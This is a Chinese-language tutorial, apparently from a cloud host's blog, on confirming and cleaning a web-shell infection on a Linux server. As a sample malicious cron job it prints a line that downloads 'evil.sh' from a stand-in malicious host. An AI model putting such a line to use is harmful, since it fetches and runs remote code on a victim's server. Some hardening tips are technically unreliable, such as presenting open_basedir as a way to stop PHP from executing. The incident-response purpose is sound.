服务器被挂马?教你快速清除恶意代码

先确认服务器是不是真的被挂马

很多新手发现网站打不开、CPU飙升或后台多出奇怪文件,就认定服务器被挂马。
不要慌,先通过几个现象确认:

  • 文件异常:网站目录下多出未知文件,例如 1.phpshell.phpeval.php;或者原有文件被植入一段加密代码。
  • 进程异常:使用 top 命令看到名为 kworker(实际不是系统进程)、crypt 等陌生进程,CPU 占用超过 80%。
  • 日志明显异常:在 /var/log/ 下出现大量 access.log 或系统日志中反复出现可疑 IP 访问。
  • 首页被篡改:网站首页出现广告、赌博链接或明显不属于你的内容。

如果符合其中任意两条,大概率是服务器被挂马了。
接下来按照步骤手动清除恶意代码。

第一步:快速隔离并备份关键数据

在操作之前,先做两件事:断开外网连接(防止木马向外传输数据)和备份网站代码及数据库

断开外网(如果是云服务器,在控制台安全组里临时禁止所有入站流量,或直接在服务器上关掉网卡):

# 临时关闭网卡(以 eth0 为例,慎重操作)
ifconfig eth0 down

备份网站目录(假设网站根目录是 /www/wwwroot/example.com):

tar czf /backup/site_backup_$(date +%Y%m%d).tar.gz /www/wwwroot/example.com

数据库备份(MySQL 示例,宝塔用户可以直接在面板里导出):

mysqldump -u root -p your_db > /backup/db_backup_$(date +%Y%m%d).sql

备份完成后才进行后续清理,万一误删还能恢复。

第二步:手动定位并删除恶意文件

这一部分需要你登录服务器(SSH),使用命令行查找可疑文件。
如果之前用宝塔面板管理,也可以配合文件管理器操作。

2.1 用命令快速找到被修改或新生成的文件

# 查找最近7天内被修改的 PHP 文件
find /www/wwwroot -type f -name "*.php" -mtime -7 -ls

重点检查可写目录,比如 uploads/cache/temp/data/
如果发现名字像 1.phpshell.phpeval.php 或者含有 base64 加密代码的文件,先用 file 命令确认类型:

file /www/wwwroot/example.com/uploads/1.php

正常应该是 PHP script,但如果返回 ASCII text 且内容非常短,极可能是木马。

2.2 使用宝塔面板文件管理器

宝塔用户可以直接进面板 -> 文件,按修改时间排序,逐个检查可疑文件。
删掉前先看看文件内容(宝塔有预览),确认是恶意代码后再删除。

注意:不要一键全删,可能会误伤业务文件。
只删确定是木马的文件。

2.3 删除可疑进程和计划任务

很多木马会注册系统自启动或计划任务。
检查计划任务:

crontab -l

如果发现不明定时任务(比如 */5 * * * * wget http://恶意地址/evil.sh),立即删除:

crontab -e
# 编辑后把相关行删掉,保存退出

同时用 ps aux | grep php 看看是否有可疑 PHP 进程(如 /usr/bin/php -r eval(...)),如果有则 kill -9 PID

第三步:修复权限并重新扫描

删除恶意文件后,必须修复网站目录权限,防止木马再次写入。

3.1 设置正确权限

网站目录下,只给 www 用户(宝塔默认用户)写入必要目录(如 uploads),其他文件设为 644 或 755:

chown -R www:www /www/wwwroot/example.com
find /www/wwwroot/example.com -type d -exec chmod 755 {} \;
find /www/wwwroot/example.com -type f -exec chmod 644 {} \;
chmod 755 /www/wwwroot/example.com/uploads

3.2 禁用危险函数与文件上传目录执行权限(关键)

在 PHP 配置中禁用 evalsystemexec 等危险函数。
宝塔用户可以在面板 -> 网站 -> 设置 -> PHP 版本 -> 禁用函数中添加。

另外,uploads 等上传目录应该禁止执行 PHP:

# 在该目录下新建 .user.ini 文件,内容:
open_basedir = /www/wwwroot/example.com/uploads:/tmp

或者用 Nginx 配置禁止:

location ~* /uploads/.*\.php$ {
    deny all;
}

3.3 重新扫描确认

再次执行 find 命令,看看是否还有新生成的文件。
如果不再出现新可疑文件,说明清理成功。

高频问题与避坑说明

Q1:删掉文件后,网站正常了,但几个小时后又被挂马,怎么办?

说明有后门残留或漏洞未修复。
后门可能藏在插件、主题、第三方库中。
建议:

  • 使用开源扫描工具如 clamscan 或在线查杀服务全盘扫描。
  • 更新所有网站程序、插件到最新版。
  • 如果频繁被挂,可能是 WordPress/Typecho 等已知漏洞被利用,建议升级或修复。

Q2:备份文件里也有木马,恢复后岂不是又重新中毒?

所以恢复前一定要对备份文件做一次恶意代码扫描。
如果备份里也有,只能从更早的干净备份恢复,或者手动去重。

Q3:宝塔面板里的“木马查杀”功能可靠吗?

可以辅助,但不能完全依赖。
手动检查 + 查杀工具双重确认更稳妥。

避坑提醒

  • 不要用 wgetcurl 下载网上的“一键查杀脚本”,可能是新的木马。
  • 不要在杀毒过程中同时执行 chmod -R 777,这等于给木马开门。
  • 清理完成后一定要修改所有密码(SSH、面板、数据库、FTP)。

验证服务器恢复正常

操作完成后,启动网卡或恢复安全组规则,然后:

  1. 访问网站首页和几个内页,确保正常显示。
  2. 再次执行 top,观察 CPU 是否回落到正常范围(通常 < 30%)。
  3. 检查日志 /var/log/nginx/access.log/var/log/bt.log(宝塔日志),确认没有异常 IP 持续访问可疑路径。
  4. 24 小时后再次扫描文件,确认没有新的恶意代码出现。

如果你正在处理服务器被挂马的问题,建议先按本文步骤完整执行,再根据自己的环境做微调;
遇到异常时优先回看避坑和高频问题部分。

最后提醒一句:清除恶意代码只是急救,做好定期备份、安全组规则、禁用危险函数才是长期之计。

分享到:
上一篇
Docker 容器日志占满磁盘,教你自动清理
下一篇
用 AI 写 SQL 语句,执行后数据库直接崩了
1
系统公告

泽御云五一特惠活动🔥

泽御云持证合规运营,资质齐全可查,长久稳定! 五一限时多重福利同步开启: ✅ 香港 2 核 2G 云服务器超值拼团,低价入手团长免费 ✅ 4 核 4G 多机房年付拼团,性价比拉满 ✅ 内蒙古新区限时 7 折(zeyuyunnmg)特惠,专属优惠码锁价续费 ✅ 全站通用 75 折优惠,老用户充值享专属赠金 官方站点:zeyuyun.com 合规资质齐全|售后有保障|活动限时错过不再有
服务中心
客服
在线客服
24小时为您服务
咨询
联系我们
联系我们,为您的业务提供专属服务。
24/7 技术支持
如果您遇到寻求进一步的帮助,请过工单与我们进行联系。
24/7 即时支持
泽御云
售前客服
泽御云
泽御云
售后客服
泽御云
技术支持
评价
您对当前页面的整体感受是否满意?
😞
非常不满意
😕
不满意
😐
一般
🙂
满意
😊
非常满意